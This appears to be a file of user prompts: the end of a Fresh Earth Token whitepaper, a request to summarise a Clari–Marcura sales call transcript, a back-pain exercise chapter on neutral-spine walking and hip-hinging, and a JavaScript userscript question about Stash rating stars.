(KPIs), metrics used to measure and verify the impact of the Fresh Earth ecosystem's projects. \n\nAccess and Participation: The Fresh Earth ecosystem includes a B2B and B2C marketplace, a Project Management Platform, and a Rewards System, allowing for access and participation in the ecosystem, and fractional ownership These KPIs provide verified measurements of impact that can be leveraged to secure external funding from various markets.\n\nE. Network Value\n\nTrust and Utility: The Fresh Earth ecosystem aims to create a transparent and verifiable impact for sustainable agrifood projects, thus building trust and utility. This trust is established through the use of blockchain technology, which provides a secure and decentralized platform for the ecosystem to operate on. The utility of the Fresh Earth Token lies in every aspect of the tolen, including its ability to represent fractional ownership of the ecosystem, the empowerment of individuals and businesses to take control of their food sources, their health, and participate in a transformed food system, and the token;s ability to incentivise regenerative behaviour through its reward system.\n\nSupply and Demand: The Fresh Earth ecosystem aims to balance the supply and demand for regenerative food products through its B2B and B2C marketplaces. By connecting regenerative farmers with businesses and consumers, the ecosystem aims to increase the supply of regenerative food products and create a greater demand for them. Additionally, the ecosystem's Rewards System aims to incentivize participation and engagement, which in turn drives the demand for the Fresh Earth Token.\n\nNetwork Growth: The Fresh Earth ecosystem includes several networks including B2C, B2B, Digital Communities of both consumers and experts, farm and supplier networks, health practitioners etc. The networks are visible to each other and mutually reinforcing. The intermeshing components of the ecosystem are designed to promote network growth through its various incentive drivers, such as the Rewards System and the Data Managment Platform. As more individuals and businesses participate in the ecosystem, the network becomes more attractive, accelerating growth of the network (Metcalfe's Law.) and the value of the Fresh Earth Token. This empowers the ecosystem's impact on the environment and society. Additionally, the ecosystem's focus on regenerative agriculture practices and community-based food system promotes a positive feedback loop, where the success of the ecosystem drives more investment and greater impact, leading to greater value for token holders. Additionally, Fresh Earth consumers are incentivized and rewarded for their participation in the ecosystem, further driving network growth and increasing the value of the token.\n\nF. Share-Like\n\nFractional Ownership: The Fresh Earth Token represents fractional ownership of the Fresh Earth ecosystem. As a decentralized autonomous organization (DAO), the Fresh Earth ecosystem does not have shares, but each token represents an individual's fractional ownership of the ecosystem , which includes the monetizable regenerative value of a ha of land and health of a person. \n\nRights and Privileges: Holders of the token have certain rights and privileges, including voting power in governance decisions, access to discounted prices on regenerative food products, and access to the Project Management Platform. Additionally there are potential rewards for participating in the ecosystem, including rewards for participating in validation of key performance indicators (KPIs), for purchasing Fresh Earth food products, for referrals or for being a Fresh Earth ambassador.\n\nImpact Leverage: The Fresh Earth token leverages the future impact of regenerative projects, as measured by key performance indicators (KPIs), to secure external funding from carbon offsetting, pay for performance, impact investing, community-based financing, regenerative agriculture financing, water rights trading, biodiversity offsets, ecosystem services markets, conservation easements, benefit-sharing agreements, and community land trusts. These external funds are redistributed back to stakeholders in the form of rewards for participation, further adding value to the token.\n\nIncentive Enablers\nIncentive enablers are features or attributes of the token that facilitate the alignment of incentives between different participants. Fresh Earth tokens provide the following rights that enable stakeholders to participate in the ecosystem and benefit from its growth and success, amongst others:.\n\nRight to use: Fresh Earth tokens may be used to access services and content within the ecosystem, such as access to regenerative farming practices and regeneratively grown food products.\n\nRight to vote: Fresh Earth tokens may be used as a requirement for stakeholders to influence the decision-making of the decentralized autonomous organization (DAO) that manages the Fresh Earth ecosystem.\n\nUnit of account: Fresh Earth tokens may be used to measure the value of services, assets, labor and liabilities within the ecosystem.\n\nMedium of exchange: Fresh Earth tokens may be used as a medium of exchange to trade goods or services within the ecosystem.\n\nStore of value: Fresh Earth tokens may be held by stakeholders as a liquid financial reservoir, and may retain value and purchasing power over time.\n\nIncentive Drivers \nThe Fresh Earth ecosystem is designed to incentivize participation and engagement through a variety of different Incentive Drivers. In addition to the enablers, the Fresh Earth token also serves as a key driver for participation and engagement in the ecosystem. These include:\n\nGet Access: token grants access to services and content within the ecosystem\n\nGet Discount: token holders access discounts on services and content available within the ecosystem\n\nGet Revenue: allows actors within the ecosystem to monetize their participation\n\nGet Reward: token holders are rewarded for actions that contribute to the ecosystem's success and growth, such as adopting regenerative practices and registering land on the platform\n\nParticipate in Governance: token holders can use their tokens to shape the ecosystem's rules and decisions through decentralized governance\n\nAppreciation Potential, which allows token holders to benefit from the ecosystem's success or the uplift in value of the token, and get a share of it by holding, staking or selling tokens\n\nToken use cases and utility\nFresh Earth Tokens will have a number of key use cases and utilities within the Fresh Earth ecosystem. Firstly, they will be used as a means of access to the services and content provided within the ecosystem, such as marketplaces for regeneratively produced food and resources for regenerative farmers. Secondly, they will be used as a means of participation in the governance of the ecosystem, allowing token holders to vote on key decisions and proposals. Thirdly, they will serve as a unit of account and medium of exchange within the ecosystem, allowing for the measurement and intermediation of economic transactions. Finally, they will act as a store of value, with their value being tied to the success and growth of the ecosystem.\n\nGovernance\nOverview of the governance structure of the Fresh Earth Token ecosystem, including decentralized autonomous organization (DAO) or other decentralized governance mechanism.\n\nToken holders rights and responsibilities\n\nToken holder voting and decision-making processes, Voting and decision-making: An explanation of how decisions will be made within the ecosystem, including any voting or consensus mechanisms.\n\nToken holder rewards for participation, Community participation: Information on how the community can participate in the ecosystem and contribute to its development.\n\nToken holder protection\n\n \n\nTechnical Requirements\nThe Fresh Earth Token will be created using smart contracts on the Hedera Hashgraph (HTS) blockchain. These smart contracts will be programmed to mint new tokens and allocate them to stakeholders according to predefined rules and algorithms.\n\nFresh has created Technical Specification Documents detailing the technical requirements and the overall architecture and design for the development and implementation of the Fresh Earth ecosystem and the Fresh Earth Token, including the various components and how they interact with each other. \n\nSummary of FET Functional Requirements\n\nToken Creation: The system must be able to mint new tokens and allocate them to stakeholders according to predefined rules and algorithms. \n\nToken Distribution: The system must be able to distribute tokens to farmers, businesses, and consumers who participate in the ecosystem and contribute to regenerative practices. \n\nToken Sale: The system must be able to facilitate the sale of tokens to investors and other stakeholders through a decentralized exchange or other platform. \n\nToken Staking: The system must allow token holders to stake their tokens and earn rewards for participating in the ecosystem and contributing to regenerative practices. \n\nToken Governance: The system must allow token holders to vote on governance decisions and proposals related to the management and direction of the ecosystem. \n\nToken Valuation: The system must be able to calculate and update the value of the token based on the performance of the ecosystem and the impact of regenerative practices, as measured by key performance indicators (KPIs) such as carbon sequestration, biodiversity, water retention, and food nutritional density. \n\nToken Liquidity: The system must allow for the exchange of tokens on decentralized exchanges or other platforms, enabling liquidity for token holders. \n\nToken Transparency: The system must be transparent and auditable, providing stakeholders with access to data\n\nToken Security: The system must be secure and resistant to hacking and other malicious attacks, using strong encryption algorithms to protect the token transactions and data stored on the blockchain, including\n\nSmart contract security: formally verified and immune to common vulnerabilities\n\nNetwork security: the transactions and data stored on the blockchain are tamper-proof\n\nWallet security: user-friendly wallets that are resistant to fraud\n\nCompliance and regulations: comply with all relevant laws and regulations.\n\nToken Scalability: The Fresh Earth token system will be designed to support the growth and expansion of the ecosystem, ensuring that it can handle a large number of transactions and stakeholders supporting the growth and expansion of the ecosystem in a secure and efficient manner. This will be achieved by implementing a number of scalability solutions including:\n\nSharding: to divide the network into smaller subsets, which can help to increase the capacity and speed of the network.\n\nOff-chain transactions: to reduce the load on the network.\n\nState channels: to enable faster and cheaper transactions, by moving them off-chain and only settling the final outcome on-chain.\n\nInteroperability\n\nAsynchronous communication:" -'Identify the key topics discussed in this part of a sales call titled "Marcura & Clari | Consumption Forecast Discussion". For each topic, create a summary in the following format, using bullet points and headings:\nName of topic\nSummary of discussion\n\nIgnore small talk and introductions. \n\nHere is the transcript of the call: "\n> Stephen Donohoe 00:00\nHave you been lazy? Did you have a nice weekend.\n> \n\n> Lizy Thomson 00:03\nStill recovering from the flu. We\'ve got flu brains here. All of us. Dealing with the weather change. And there\'s the influenza going around. And just not recovering too quickly from it so.\n> \n\n> Stephen Donohoe 00:19\nGoing to keep my camera off again. Stephen sorry.\n> \n\n> Lizy Thomson 00:22\nI was thinking this one. You said maybe today I\'ll do better and turn my camera on. But feeling like ships. Sorry.\n> \n\n> Curt Weaver 00:29\nNo, that\'s quite our ice. And don\'t worry about it.\n> \n\n> Stephen Donohoe 00:32\nAre you starting to improve it all? Or is it kind of hanging around.\n> \n\n> Lizy Thomson 00:37\nSo the minute I stock a few battle. You know. My kids, then get it. And then they give it back to me. And then we\'re just kind of. Reinfecting each other quite conveniently. Here. Recovering for a bit and then getting. Sick again. So it\'s been a bit weird because here, like we spoke the last time. Stephen is getting warmer.\n> \n\n> Stephen Donohoe 01:07\nAnd then we have a bit of sandstones that comes in from Saudi.\n> \n\n> Lizy Thomson 01:11\nAnd normally when those samsungs come and everyone\'s going down. With. Virals in Dubai. So that\'s the situation hereby.\n> \n\n> Stephen Donohoe 01:21\nYeah. Okay. And the dance trials, they can just come out of nowhere, can\'t they.\n> \n\n> Lizy Thomson 01:26\nOut of nowhere take over the entire city. Reduce visibility people with asthma Dust allergies. They just get so unwell normal people as well, because it comes to the acs. So even if we\'re in those and we think we\'re safe because it\'s like the fine dust it comes through the AC, the AC ventilation, and then.\n> \n\n> Stephen Donohoe 01:50\nYeah? There\'s no escape? No escape.\n> \n\n> Lizy Thomson 01:54\nHopefully you start to get on the mend.\n> \n\n> Stephen Donohoe 01:56\nAnd soon enough I know it\'s. I don\'t. Have kids myself. I know, Kurt. You do. But from what I hear is, yeah, it can be quite cyclical. And these illnesses, they can just keep going around.\n> \n\n> Lizy Thomson 02:11\nAbsolutely. So but. It\'s it\'s good. I mean, there\'s good to have company in misery. So it\'s okay. Lizzy, I can relate.\n> \n\n> Curt Weaver 02:26\nNo, no, I can relate. It seems like seems like we\'ve had something in our house since November. So just. I have three little kids. They\'re four, eight and nine. And so. One of them will get it passed to one of the parents, and then just it just goes around like you said. But I\'m really hoping 2023 is a year where we have like one week without anyone being sick.\n> \n\n> Curt Weaver 02:55\nSharing is caring.\n> \n\n> Lizy Thomson 02:56\nMy kids are way older. My kids are 18. My daughter turned 18. Two weeks ago. And my son is 16. But it never changes. It\'s always the same scenario. Sharing is caring, and then they start blaming each other. Typical sibling site. Well, they\'re more social at that age, too.\n> \n\n> Curt Weaver 03:20\nSo it\'s easy to keep my fouryearold daughter at home if she\'s sick. But, you know, understand. I remember being 18, and it was a harder to keep me up in the house.\n> \n\n> Lizy Thomson 03:29\nAbsolutely. Yeah. That\'s my situation right now. So we think we\'re getting better. And then two days later, we\'re down with this And it\'s really bad Cox and fevers and body aches. So it\'s a nasty, nasty viral that has definitely evolved into a superbug. That\'s what the doctors are seeing in Dubai as well. There was a news article yesterday that said the influenza. Bug has evolved into a superbug. So. Yep, it\'s fun. We\'re having a party hand by.\n> \n\n> Stephen Donohoe 04:01\nExciting times.\n> \n\n> Lizy Thomson 04:06\nI was super excited after the last meeting. I love what Carry has to offer. Was even sharing that with Nathan. I love the analytics, I love the AI. Element to it as well. I love your dashboards. So exciting. So really looking forward to today as well.\n> \n\n> Stephen Donohoe 04:26\nOkay. Awesome. I\'m glad to hear I didn\'t do a terrible job then. First some context. Curse is one of our solution engineers here as well. Lizzy. So. We can with curtain when Natan comes on as well, we can jump in or we can hold on for another couple of minutes. That\'s totally up to you, but we can start diving into some of the detail in specifically around. The consumption piece. I know that\'s an element to the business, but we can keep it pretty fluid as well. And if there\'s anything top of mind that you want to cover. Yeah. Do field questions, Curtis. Certainly the brains behind the operation here. So. You\'re well supported.\n> \n\n> Lizy Thomson 05:12\nWhat I didn\'t see the last time, but I\'m sure it\'s on clarity is like a Kp. dashboard. You know, apart from the Salesforce. That\'s. Then it\'s fantastic. There\'s also the Kpi dashboards that is currently. Managed manually. You know, in excel and with formulas. And then, of course, we recently converted those to Power Bi. But. Does clarity have. A version also that showcases. Like a scope of a comparative performance. Chart showing. Kpis. Kpi. Performance. Between each sales rep and then rolled up to the sales leader. There\'s something like that. On Clari.\n> \n\n> Stephen Donohoe 06:05\nSo. We can I suppose the short answer is yes, but requires a caveat that we would just need to understand specifically what it is that you\'re referring to. I think one thing that would be really helpful as well. At some point we can get a mutual mda in places, but just to get some visibility over the kpis that you\'re tracking and how you\'re visualizing that in excel. And in Power bi and we can see if it\'s that we can put together in a dashboard. I\'m not sure karate have there\'s any additional context that you would kind of add there.\n> \n\n> Curt Weaver 06:38\nI think you nailed it. I mean, it\'s just about understanding what kpis are tracked. And there\'s probably several different ways we can support that. And Clari. The forecast module comes to mind where because you mentioned roll up. Right. So it\'s just understanding what formulas that you\'re using today, in which metrics that you\'re interested in tracking and then. Most of our customers, what they do is they\'ll have. Steven, I\'m sure you let them know that in clarity you\'re not limited to one view of the forecast. So let\'s just say you have your sales global sales forecast in clarity. You could have a separate Kpi dashboard or Kpi based roll up where it\'s less about. Okay, well, what\'s the commit and upside, right?\n> \n\n> Lizy Thomson 07:24\nIt\'s more about here\'s the here of the sales reps and the frontline manager.\n> \n\n> Curt Weaver 07:28\nAnd maybe we\'re tracking asp\'s sales cycle link thing like things like that and rolling that.\n> \n\n> Lizy Thomson 07:36\nYou all of that. Yep. That\'s exactly what I\'m talking about.\n> \n\n> Curt Weaver 07:39\nCool. I need to. Hey, guys.\n> \n\n> Nathan Seldon 07:42\nHey, Stephen. Hey, cut. Sorry I got tied up on a on another call, which is actually about this. Let\'s get.\n> \n\n> Stephen Donohoe 07:51\nNo worries at all have you been. Yeah.\n> \n\n> Nathan Seldon 07:53\nVery good. Thanks. Very good. How about yourself? Yeah. Keep them.\n> \n\n> Stephen Donohoe 07:56\nWell, thank you. Keep them well. I just thought I\'d mention as well. I\'m not sure if you saw the email came through, but I put together just an intro for yourself and Johnny from compliance. He just shared his calendar there. They\'ve been a customer for a few years. By the way, similar stack to you. They use kaia and Outreach for top of funnel as well. They do.\n> \n\n> Nathan Seldon 08:20\nInteresting. They they do use kaya.\n> \n\n> Stephen Donohoe 08:22\nYeah. I think they use Outreach for tapa funnel. And for kaya, they might even use it for more. But I think that\'s it and then Clarity for kind of forecasting, pipeline management, things like that. But Johnny is very familiar with the Clarity platform, so definitely a good person to speak to.\n> \n\n> Nathan Seldon 08:38\nSure. Yeah. I\'ll try and connect with him this week. I saw you share this calendar there, so hopefully get a chance to sync up.\n> \n\n> Stephen Donohoe 08:44\nOkay. Cool. Well, if you need my help at all, just let me know. And yeah, outside of that and me curse and curse one of our solution engineers here. So as I was saying to Lizzie, there definitely the brains behind the operation between the two of us. So be good to kind of dive into some of the more. Yeah tactical and detail stuff around the forecasting especially consumption today.\n> \n\n> Curt Weaver 09:06\nAbsolutely nice to meet you. Hi, Nathan. Nice to meet you as well.\n> \n\n> Nathan Seldon 09:11\nHow you doing. Yeah. Doing great, man. Doing great.\n> \n\n> Curt Weaver 09:15\nExcited. Use case here around your Usage product. Based in Philadelphia. I\'ve been with Clari for about three years and typically focus on Enterprise forecasting, deployments. So we have had a couple customers come through with the consumption use case. And so Stephen tapped me to consult on what you guys are doing, so hopefully we can help you out with Larry.\n> \n\n> Stephen Donohoe 09:41\nTrust. So look, I suppose by way of an agenda for the call today, we\'ve got another 35 minutes set aside and thought it\'d best just to kind of keep this pretty conversational. I mean, we can potentially jump in and show you elements of clarity as well, if needs be. I suppose the most important thing is that we get a full understanding for how you\'re currently. I suppose. Forecasting and measuring, but also then hosting data around that consumption piece as well so that we can kind of go away and put together a couple of different options and see if we can find a solution that\'s going to work for you on that. So yeah, I suppose maybe over to you initially to just give a little bit of an overview. Maybe. Nathan, Lizzie around how you\'re currently reporting. On that consumption at the moment. And I\'m sure Kurt will have a few questions as we go. Or unless Krista was something that you wanted to kind of kick off with.\n> \n\n> Curt Weaver 10:32\nNothing to present, but if we could start at a high level and just understand the gotomarket approach for that product. And then how you\'re reporting and forecasting on that that would be very helpful.\n> \n\n> Nathan Seldon 10:47\nYeah, no problem. I\'ll have a swing at them. So the product in question is called Martrus. So it\'s. A Payments business. You can see it more as like a fintech play. Not too dissimilar to like revolute or Monzo or you know, some of these kind of popular. He kind of more ewlowerdriven solutions that you see nowadays. So the go to market approaches like our vertical. Across all of our products is within shipping. So when we talk about that, it\'s like. Transportation Companies that move product by see. On Large tanker, bulk vessels. Right. And so the Martros product is aimed at the seafarers, because that\'s where the volume is in terms of.\n> \n\n> Curt Weaver 11:40\nPersonnel.\n> \n\n> Nathan Seldon 11:42\nSo here\'s what selling to a shipping company. Who are responsible for those seafarers onboard vessels. And really the. Kind of three main products that we would try and sell into a shipping company. One is. The Crew Payment solution. So.\n> \n\n> Curt Weaver 12:02\nEvery time you pay your seatbearer, which typically once a month.\n> \n\n> Nathan Seldon 12:07\nAnd even any of your employees. But more typically, the seafarers is where the value proposition makes sense. We would basically charge you $12 flat on that transaction. Right. Because those seeds bearers are typically getting paid in local currency. So that\'s a once a month transaction. And then. And this is where it gets a little bit complex. So that\'s quite predictable. That\'s a beta B type cell, right. Every Cfare is going to get paid every month.\n> \n\n> Curt Weaver 12:40\nPretty.\n> \n\n> Nathan Seldon 12:41\nThere\'s then a B to B to C element because of our E wallet solution, which is once you paid those cf errors, they can also take advantage of our E wallet solution. And that helps them send money back home to their families. Right. So if the Cfarer decides to take that up. Then we typically see another $1212. Plus a small amount of fx revenue. So you could say $15 on when they paid or when they make another bank to bank transfer, which is typically like one or two. It\'s normally one to family back home. Right. And then you have card usage, which is like point of sale atma type transactions on that card. But that\'s going to be like really small fx revenue, which is tiny.\n> \n\n> Curt Weaver 13:34\nBut.\n> \n\n> Nathan Seldon 13:36\nIt does make up part of the like the revenue portfolio for ewallet, but again really difficult to forecast people use for it but just want to kind of paint the picture and then the other the other. Part the mantra solution is kind of like whilst we\'re talking to you, we could also handle your vendor payment. So when you pay vendors. It\'ll be a same same platform. Ultimately, what are we doing? We\'re making payments faster with fewer transaction fees. With a much better compliance platform kind of wrapped around it. And again, we\'re going to find around $15 there per transaction when they pay their customers. So the vendor payments is quite predictable. If the customer give us their volume. We know the fee that we\'re going to get per, you know, bank to make transfer.\n> \n\n> Curt Weaver 14:24\nThe crew payments is quite predictable.\n> \n\n> Nathan Seldon 14:27\nI just need to know how many crew you got and just confirm you pay them once a month. Is really tricky because that\'s that B to be to C element. Like, how many times are they gonna send money back home per month. How many times are they going to do atm withdrawals? They\'re buy a packet cigarettes. So they\'re gonna go and buy like a new car. Like.\n> \n\n> Curt Weaver 14:53\nJust really difficult.\n> \n\n> Nathan Seldon 14:54\nAnd obviously we\'re making a few dollars on the fx as well every time they spend. And so, yeah, it\'s high. The average base that\'s highly, like. The challenge, as well as the ramp. So if you told me you\'ve got 100 C fairs. Making. One payment, a month. $12 a month. That\'s quite easy for me to figure out what annually you\'re worth. Whatever. Right. But on the e wallet side. I don\'t know when your sea bearer is gonna choose to use it because they don\'t have to use it. No one can force them to use it if they don\'t want to. So like if you guys said, hey, we\'ve got this amazing deal with revolution. If you use that card, you get all of these amazing perks. You might say I\'m gonna stay with, like, Citibank. I\'m not gonna use that. And so you\'re one less person that they have predicted that\'s just kind of dropped off, if that makes sense. But you never truly know when they\'re gonna drop off because there\'s no light optout or I want to say no. It\'s just like working with the accounts trying drive the doctrine. So as that ramp piece as well, which is which is which is tricky because we might say in accounts worth 100 grand and we sign them and we only find that within twelve months we found like 30 grand because we didn\'t get the adoption of the evolve."' -'CHAPTER FIFTEEN\n RULE #6\n Crawl Before You Walk, Walk Before You Run\n From Jeremy\nAs you know by now, the essence of the protocol is lifelong behavioral change. That means changing the way you carry yourself and move (the neutral spine and all that). But it also means adopting and staying with our carefully designed (and progressive) exercise regimen. It is designed for back pain and it is essential for a permanent cure. And you have to do it correctly. There is an awful lot of text and a bunch of pictures about exercise in this book. But it’s not because you have to do so many exercises; there really aren’t that many. It’s because we want you to do them right. Remember, you are far more likely to do these exercises with the compensatory patterns you have been doing for years unless you read closely and concentrate on doing them the right way. Doing them the wrong way will just make you better at doing bad things. \nOne great key to doing them right is to go slow in the learning process. Whether you’re the type or not, you have to take it step-by-step. This is a healing process, and you cannot rush a healing process; it has its own rhythm and you have to follow it. Roll out these exercises slowly over time, progressing from one level to the next only when you “get” the level you are on and are ready to move up. \nRemember, it is these daily exercises that—more than anything else—are going to give most of you a significant and permanent reduction in pain and tightness. Other steps get you past the immediate pain. These steps make the change permanent. \nBe Still to Heal; Be Still to Stay Well \nOne of the main goals of changing your movement patterns is to make the “be still to heal” concept (Rule #2, in Chapter 7) part of your daily life. Once you have achieved an initial fix, you don’t have to be as still. But it is a great idea to learn to move with relative stillness (without moving your lumbar spine too much) all the time. \nThis is a big change for most of you, and you have to take it in steps; as I say, you have to crawl before you walk. The first step in learning to keep your lumbar spine still routinely is simply to learn to march in place, with a neutral spine. (This is the “crawl” part of the process; it may seem too easy to bother with. It is not.) The goal is to learn to march in place with no lower spine movement. Then you can move on to other movements in this chapter.\nKey tip: If any of these movements hurt, take a step back to the last thing you could do without pain (marching in place, for instance). Stay with that for a few more days and then try to progress again. In theory, if you can march in place without pain, you can walk without pain and move without pain. It’s just a matter of building up your core, turning on the right muscles, and learning to use those muscles to move in the right way. Whenever you have difficulty, go back to the previous step and start again. \nOkay, you’ve done marching in place without moving your lower spine. Once that feels relatively simple, try doing this while walking. Things become a little murkier here because there are many factors at play. Because you are now weight-bearing, you need the support of important muscle groups like the glutes and latissimus dorsi (lats) to support your spine, in addition to the muscles we talked about in the core. If you can’t do this at first without pain, follow the advice in the book for a while, and it will come once you have developed enough strength to support your spine while standing. \nWalking with Neutral Spine \nLearning to walk with a neutral spine means applying the same mechanics of your Slow March with Neutral Spine exercise to an upright, weight-bearing position. Almost everyone can improve their ability to walk without pain if they can do the slow march exercise on the ground. The distance you can walk without pain, or without significant increases in pain, will increase as you build core and gluteal strength and endurance by doing the exercises in this book. To get started on increasing your ability to walk with decreased pain, follow these directions:\nStep 1: Stand with good posture. Stand tall, shoulders back, head over your shoulders. Think of sticking your chest out and pulling your shoulder blades down and back. Make sure you aren’t leaning forward. Tilt your pelvis back and forth (just like you did on the floor earlier), and stop where your lower back feels the most comfortable. \nStep 2: Use your core to lock your neutral spine in place. \nStep 3: Now try to walk while maintaining the position of your lower back and with the good posture you just set. It can help to put one hand on your stomach and one on your low back to feel for movement. Once you feel like you’ve mastered maintaining neutral spine while walking, start to swing your arms from the shoulders, arm to opposite leg. This means if your right leg is swinging forward, your left arm should be as well. Make sure to always swing your arms from the shoulders as you walk; this helps dissipate force away from the spine. This movement takes time to master so don’t get frustrated. Keep practicing. It gets easier after you have built endurance and strength in the muscles that support the spine. \nStep 4: If you sense your back is about to hurt, stop and have a seat for a few minutes and give your back a break. Then try walking a little longer. Over time, the period between these sitting breaks should increase, allowing you to walk farther without pain.\nNow let’s move on to more complex movements. To make it easier (and to improve your chances of success) we are going to break those more complex movements down into pieces and then put them all together at the end. We will start with movement from the hips, a very basic move in all our lives all the time. Let’s start with hip-hinging. Hip-hinging is a way to bend forward without stressing (i.e., bending) the spine. Done right, the axis of movement is in the hips, not the low back. Your low back should be in a protected neutral position with the core engaged. As you bend forward, your low back doesn’t round or move. Let’s look at a picture of hip-hinging and a picture of lumbar flexion (low back bending); one is good, the other is bad. This is simple stuff, but it is very hard to get over your ancient, bad habits. Hard but essential. \n\nHip-Hinge with Neutral Spine\nHere are a couple of pictures showing you the right way to hinge (on the left) and the wrong way (on the right). Notice the very slightly curved lower back in the hip-hinge picture on the left: no movement. Excellent! The pic on the right has quite a lot of spine movement; don’t do that. When you first try this movement, it may feel awkward, and you may assume that you cannot reach as far forward with good posture. Not so. You’ll soon realize that you can move just as far forward, using only your hips, as you did before, using your back. You don’t lose anything and you avoid a ton of pain. Over time you will gain mobility. The reason is that moving with your lower back eventually causes pain and stiffness in your back. But moving from your hips will not have that result. Let’s practice doing it right. \nRight Wrong\n\nStep 1: Stand with feet shoulder-width apart.\nStep 2: Set your posture: Find neutral spine, brace the core, shoulders back, stand as tall as you can without pain and without breaking neutral spine. \nStep 3: Bend your knees slightly. \nStep 4: Feel the two bones sticking out of the sides of your hips. These are called your greater trochanters. Picture a pole going through these two points, passing right through your pelvis. This is your imaginary axis of movement.\nStep 5: Now place one hand on your stomach and the other on your back. On your back, put your fingers on those little bones sticking out (spinous processes). You are putting your hands here to feel for any unwanted movement when you hip-hinge. \nStep 6: Without moving anything in the core (you shouldn’t feel those little bones in your back moving), slowly bend forward on that imaginary axis of movement through the hip bones while sticking your buttocks out behind you a little bit. If you feel your stomach or back move, stop, reset, and try again.\n\nStep 7: Go only as far forward as you can without moving your back. For many of you, your hamstrings (back of legs) are going to be a limiting factor in your range of motion in the beginning. Don’t worry if you can’t go too far. Your hamstrings will loosen up in time if you follow all of the advice in this book. \nStep 8: Slowly return to the starting position without moving your back or stomach. \nStep 9: This should not hurt your low back. If it does, reset your stance, find neutral spine, brace your core. Not hurting? Now try it again with a very small range of motion. Stay within the range of motion that doesn’t hurt. Slowly increase your range of motion over time—it will come. \nAdding Rotation\nNow let’s get a little more complex. Let’s add rotation to the bend. Hip-hinging correctly allows you to move forward and backward without pain. Now let’s learn to move side to side. We are talking rotation. Again, think about moving from the hips. It’s easiest to visualize proper rotation if you think about your waist. We don’t want any movement at the waist. Try to picture your rib cage being locked on to your pelvis. That’s what you want. Pretend that there are no joints between your ribs and pelvis, for this one. \nFull-Body Rotation\nThe chest, navel, and hips all move together. This means there is no (or very little) movement in the spine. The body rotates by moving the hips, knees, and pelvis. If the hips and pelvis stay facing forward while the rib cage moves, the movement comes from the waist, and therefore the lumbar spine. This type of movement can wear down the discs and joints in the spine over time, especially when additional load is applied (like unloading the dishwasher for instance). Just like hip-hinging, rotation done properly doesn’t cause you to lose mobility and will improve athletic performance. Let’s give it a try. Once again, the new movement is not that hard. But you are trying to unlearn a lifetime of moving with your spine. That is hard. \n\nStep 1: Stand with your feet shoulder-width apart.\nStep 2: Set your posture: Find neutral spine, brace the core, shoulders back, stand as tall as you can without pain and without breaking neutral spine. \nStep 3: Bend your knees slightly. \nStep 4: Place your hands on the top of your pelvis with your fingers pointed forward. This hand position is to help you visualize movement of the pelvis as you get used to this movement. \nStep 5: Keep the knees bent and loose but the core engaged, and try to turn a little to the right by shifting the knees and hips. Your fingers, navel, hip bones, chest bone, and face should all point the same direction. It’s okay if you pivot the feet a little bit. \n\nStep 6: Now try to the left.\nStep 7: Slowly increase your range of motion by bending more at the knees. \nStep 8: Then increase your range of motion even more by pivoting your feet. \nStep 9: At all times and especially at the end of the movement, your chest bone, head, navel, and hips should be in alignment. \nTROUBLESHOOTING\nKnee pain: Stay lighter on your feet\\ and pivot the ball of the inside foot (the side you are moving away from) as you rotate. \nTorso Rotation with Hip-Hinge and Squat\nNow let’s try to put those two movements—the hip-hinge and the rotation—together with a squat for a realistic, three-dimensional movement that allows you to accomplish everyday tasks (think unloading the dishwasher, putting up groceries) without stressing your back. You are going to rotate and bend down (hip-hinge), then come back up to the other side and extend. \nNotice that within that entire chain of movement, the person in the drawing does not really move his spine (look at the waist if you’re having trouble visualizing that). The rib cage remains locked onto the pelvis the entire time. These pictures show you that you can go almost 180 degrees from side to side, stooping as low as you can and then extending as high as your hands can go, without compromising your back. Let’s try it.\nStep 1: Stand with your feet shoulder-width apart.\nStep 2: Find neutral spine and engage your core to lock it in. \nStep 3: Stand with good posture. \nStep 4: Rotate torso to the right without twisting the waist as before.' -'in my script, when I click on the rating stars to update it updates, but then on the next run clicking on the same star is supposed to change titles and classes to Unset and on click set the rating to null. But it isn\'t happening. const {\n stash,\n Stash,\n waitForElementId,\n waitForElementClass,\n waitForElementByXpath,\n getElementByXpath,\n getClosestAncestor,\n updateTextInput,\n } = unsafeWindow.stash;\n\n async function querySceneRating(sceneId) {\n const gqlQuery = {\n \'query\': `query {\n findScene(id: ${sceneId}){\n rating\n }\n }`\n };\n var rating = await stash.callGQL(gqlQuery);\n if (!rating.data.findScene) {\n // handle the error here\n console.log("Error with querySceneRating GraphQL: " + rating);\n }\n return rating\n }\n function updateElements(rating) {\n let sceneId = updateSceneId();\n console.log("updateElements: sceneId: " + sceneId + ": passed rating: " + rating);\n\n // code to update the elements here\n waitForElementId("video-stars", async function(IdName, el) {\n currentRating = rating;\n console.log("updateElements: currentRating: " + currentRating)\n const customdivElements = document.getElementById(\'video-stars\')\n const ratingButtons = customdivElements.querySelectorAll(\'.rating-stars button\');\n // Set Classes & Titles inital values\n if (currentRating == null) {\n console.log("updateElements - currentRating == null: ");\n updateTitles(0);\n updateClasses(0);\n } else {\n console.log("updateElements - rating != null - rating: ");\n\n updateTitles(currentRating);\n updateClasses(currentRating);\n }\n\n })\n return\n }\n\n async function updateSceneRating(sceneId, rating) {\n console.log("Updating Rating: Passed Rating: " + rating)\n console.log("updateSceneRating rating " + rating)\n const reqData = {\n "operationName": "sceneUpdate",\n "variables": {\n "input": {\n "id": sceneId,\n "rating100": rating \\* 20\n }\n },\n "query": `mutation sceneUpdate($input: SceneUpdateInput!){\n sceneUpdate(input: $input){\n id\n rating100\n }\n }`\n }\n const response = await stash.callGQL(reqData);\n currentRating = rating;\n // setTimeout(function() {\n updateElements(currentRating);\n // }, 2000)\n }\n\n function updateSceneId() {\n const currentUrl = window.location.href.split(\'?\')[0];\n const sceneId = currentUrl.substring(currentUrl.lastIndexOf(\'/\') + 1);\n console.log("updateSceneId" + sceneId);\n return sceneId\n }\n\n function updateTitles(num) {\n console.log("update\\_titles: passed title: " + num)\n const customdivstitle = document.getElementById(\'video-stars\')\n const ratingButtons = customdivstitle.querySelectorAll(\'.rating-stars button\');\n ratingButtons.forEach(btn => {\n btn.title = num;\n });\n }\n\n function updateClasses(num) {\n console.log("update\\_classes: passed class: " + num)\n\n const customdivclasses = document.getElementById(\'video-stars\')\n const ratingButtons = customdivclasses.querySelectorAll(\'.rating-stars button\');\n ratingButtons.forEach((btn, i) => {\n if (i < num) {\n btn.classList.remove(\'star-fill-0\');\n btn.classList.add(\'star-fill-100\');\n } else {\n btn.classList.add(\'star-fill-0\');\n btn.classList.remove(\'star-fill-100\');\n }\n });\n }\n\n stash.addEventListener("page:scene", async function() {\n let sceneId = updateSceneId();\n // let rating = (await 